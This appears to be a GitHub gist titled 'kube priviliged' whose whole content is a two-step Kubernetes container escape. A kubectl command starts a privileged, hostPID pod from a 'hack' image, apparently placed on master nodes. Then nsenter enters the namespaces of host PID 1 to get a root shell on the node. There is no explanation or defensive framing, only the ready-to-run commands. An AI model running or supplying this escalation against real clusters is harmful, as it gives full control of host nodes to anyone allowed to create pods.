Created
March 23, 2020 10:51
-
-
Save XciD/5eecba37d7025c5b267bd523514aa5f7 to your computer and use it in GitHub Desktop.
kube priviliged
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
kubectl run shell --restart=Never -it --image krisnova/hack:latest \ | |
--rm --attach \ | |
--overrides \ | |
'{ | |
"spec":{ | |
"hostPID": true, | |
"containers":[{ | |
"name":"scary", | |
"image": "krisnova/hack:latest", | |
"imagePullPolicy": "Always", | |
"stdin": true, | |
"tty": true, | |
"command":["/bin/bash"], | |
"nodeSelector":{ | |
"dedicated":"master" | |
}, | |
"securityContext":{ | |
"privileged":true | |
} | |
}] | |
} | |
}' | |
nsenter -t 1 -m -u -i -n bash |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment